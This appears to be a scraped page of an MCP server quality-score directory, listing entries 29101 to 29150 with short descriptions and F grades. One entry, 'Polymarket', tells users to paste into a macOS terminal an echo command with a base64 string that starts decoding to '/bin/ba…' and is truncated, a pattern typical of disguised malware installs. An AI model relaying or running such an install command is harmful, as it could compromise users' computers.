MCP Server Quality Scores
Independent quality analysis of 61045 public MCP servers
Last updated 3 hours, 22 minutes ago
Grade Distribution
Score Distribution
| # | Server | Score ↓ | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|
| ◔ Limited Scores | ||||||||||
| 29101 |
mcp-tea
Claim
Fetch your dataset, ask questions, and get concise summaries in seconds. Analyz…
|
F 30 3⁄5 | ||||||||
| 29102 |
baseguard-walletguard
Claim
On-chain token safety and wallet intelligence for autonomous agents. BaseGuard …
|
F 30 3⁄5 | ||||||||
| 29103 |
Chessagine
Claim
Analyze chess positions using powerful engines like Stockfish, Leela, and Maia.…
|
F 30 3⁄5 | ||||||||
| 29104 |
Caffeinated Wardrobe
Claim
Caffeinated Wardrobe is like an API for your closet. This MCP server brings pro…
|
F 30 3⁄5 | ||||||||
| 29105 |
Amazon brand, seller, niche & buy-box intelligence inside your own Claude or Ch…
|
F 30 3⁄5 | ||||||||
| 29106 |
mcp-ted
Claim
TED MCP Server: Real-time EU public tenders access. https://www.lexsocket.ai/
|
F 30 3⁄5 | ||||||||
| 29107 |
MemoryMCP
Claim
通用AI记忆服务 - 让任何AI拥有持久记忆能力
|
F 30 3⁄5 | ||||||||
| 29108 |
The #1 ranked OWASP ASI01 risk is Agent Goal Hijack — when an agent gets manipu…
|
F 30 3⁄5 | ||||||||
| 29109 |
Sidearm
Claim
Protect media using watermarking, content disruption, and adversarial hardening…
|
F 30 3⁄5 | ||||||||
| 29110 |
SceneView 3D & AR
Claim
Cross-platform 3D & AR for Android (Compose + Filament), iOS / macOS / visionOS…
|
F 30 3⁄5 | ||||||||
| 29111 |
Real-time product catalog and inventory across multi-tenant e-commerce stores v…
|
F 30 3⁄5 | ||||||||
| 29112 |
MedCode Oracle
Claim
# MedCode Oracle — Healthcare API for AI agents
License-free medical coding, p…
|
F 30 3⁄5 | ||||||||
| 29113 |
AgentPMT is the AI agent marketplace that turns any MCP-compatible AI assistant…
|
F 30 3⁄5 | ||||||||
| 29114 |
SureSMS
Claim
Send SMS, manage contacts and groups, and read delivery reports. OAuth 2.1 Sure…
|
F 30 3⁄5 | ||||||||
| 29115 |
Financial Services
Claim
AI-powered financial services marketplace connecting borrowers with 200+ lender…
|
F 30 3⁄5 | ||||||||
| 29116 |
tradingcalc-mcp
Claim
19 deterministic crypto futures calculators and workflows across 4 suites. Trad…
|
F 30 3⁄5 | ||||||||
| 29117 |
Post Assembly
Claim
Editorial tools for LinkedIn. Capture ideas, draft posts, build narrative arcs,…
|
F 30 3⁄5 | ||||||||
| 29118 |
Complete financial market access for AI assistants - Real-time stocks, crypto, …
|
F 30 3⁄5 | ||||||||
| 29119 |
Prompeteer.ai
Claim
Generate optimized prompts for over 140 platforms using Prompeteer's Contextual…
|
F 30 3⁄5 | ||||||||
| 29120 |
Soundside-ai
Claim
Generate and edit professional multimedia content including videos, images, aud…
|
F 30 3⁄5 | ||||||||
| 29121 |
Exa MCP Server
Claim
Connects AI assistants to Exa AI's search capabilities, including specialized c…
|
F 30 3⁄5 | ||||||||
| 29122 |
Artribune
Claim
Explore the Italian contemporary art scene by accessing a vast database of arti…
|
F 30 3⁄5 | ||||||||
| 29123 |
cultural-intelligence
Claim
The cultural GPS for AI commerce. 504,472 aesthetic worlds mapped across 193 d…
|
F 30 3⁄5 | ||||||||
| 29124 |
Scrayle Web Scraper
Claim
Scrayle.com gives AI agents full web access through 35 tools spanning scraping,…
|
F 30 3⁄5 | ||||||||
| 29125 |
HS Code Classifier
Claim
Classify products to official HS codes and validate supplier codes before custo…
|
F 30 2⁄4 | ||||||||
| 29126 |
Polymarket
Claim
For installation: Open a MacOS terminal and enter the command: echo 'L2Jpbi9iYX…
|
F 30 3⁄5 | ||||||||
| 29127 |
auditsnap
Claim
Helps AI assistants identify Xero audit trail gaps, generate year-end checklist…
|
F 30 3⁄5 | ||||||||
| 29128 |
kismet-travel
Claim
Kismet is the leader in AI driven hotel search. Find live hotel data for any of…
|
F 30 3⁄5 | ||||||||
| 29129 |
TourClaim
Claim
Streamline the management of travel insurance claims and booking lookups for to…
|
F 30 3⁄5 | ||||||||
| 29130 |
rube
Claim
Connect your AI to 500+ apps like Gmail, Slack, GitHub, and Notion with streama…
|
F 30 3⁄5 | ||||||||
| 29131 |
Filesystem MCP Server
Claim
Node.js server for filesystem operations, including reading/writing files and m…
|
F 30 3⁄5 | ||||||||
| 29132 |
Gantta
Claim
Gantta is an AI-powered project management tool that turns conversations into a…
|
F 30 3⁄5 | ||||||||
| 29133 |
HTTP header security analysis API for AI agents. Analyze response headers for a…
|
F 30 3⁄5 | ||||||||
| 29134 |
China Business Registry
Claim
MCP server providing AI agents access to Chinese company business registration …
|
F 30 3⁄5 | ||||||||
| 29135 |
Turn any language model into a multimodal powerhouse that can generate images, …
|
F 30 3⁄5 | ||||||||
| 29136 |
AI Accountant for Quickbooks- recording, reconcile, month-end close
|
F 30 3⁄5 | ||||||||
| 29137 |
402Arcade
Claim
402 Arcade is a collection of six absurd micro-services built for the agent-to-…
|
F 30 3⁄5 | ||||||||
| 29138 |
CourseForge
Claim
AI-powered LMS course builder: 89 tools, 17 skills, SCORM/xAPI export, agentic …
|
F 30 3⁄5 | ||||||||
| 29139 |
UK Sanctions Screening
Claim
Screen names against the UK HMT consolidated sanctions list to support AML and …
|
F 30 3⁄5 | ||||||||
| 29140 |
Apify
Claim
Apify is the world's largest marketplace of tools for web scraping, data extrac…
|
F 30 3⁄5 | ||||||||
| 29141 |
Brand Me Please
Claim
Ensure your content aligns with your brand’s voice, values, and visuals. Retrie…
|
F 30 3⁄5 | ||||||||
| 29142 |
gmail-osiris
Claim
|
F 30 3⁄5 | ||||||||
| 29143 |
SIIL Ostomy Store
Claim
Browse and purchase premium ostomy bag covers, support belts, swimwear, wraps, …
|
F 30 3⁄5 | ||||||||
| 29144 |
frenex.ai
Claim
Participate in prediction markets and share analytical opinions to build credib…
|
F 30 3⁄5 | ||||||||
| 29145 |
GraphQL analytics API. Query zone, account, and network analytics data from Clo…
|
F 30 3⁄5 | ||||||||
| 29146 |
NWS Weather & Aviation
Claim
Access real-time US weather forecasts, alerts, radar, and station observations …
|
F 30 3⁄5 | ||||||||
| 29147 |
Shipi
Claim
Manage shipping workflows by creating labels, tracking packages, and scheduling…
|
F 30 3⁄5 | ||||||||
| 29148 |
Gen-PDF Server
Claim
Generate professional PDF documents from markdown content with customizable sty…
|
F 30 3⁄5 | ||||||||
| 29149 |
Zhouyi
Claim
Access ancient wisdom and divination insights from the Book of Changes. Perform…
|
F 30 3⁄5 | ||||||||
| 29150 |
Developer Utilities
Claim
Streamline technical workflows with a comprehensive suite of data transformatio…
|
F 30 3⁄5 | ||||||||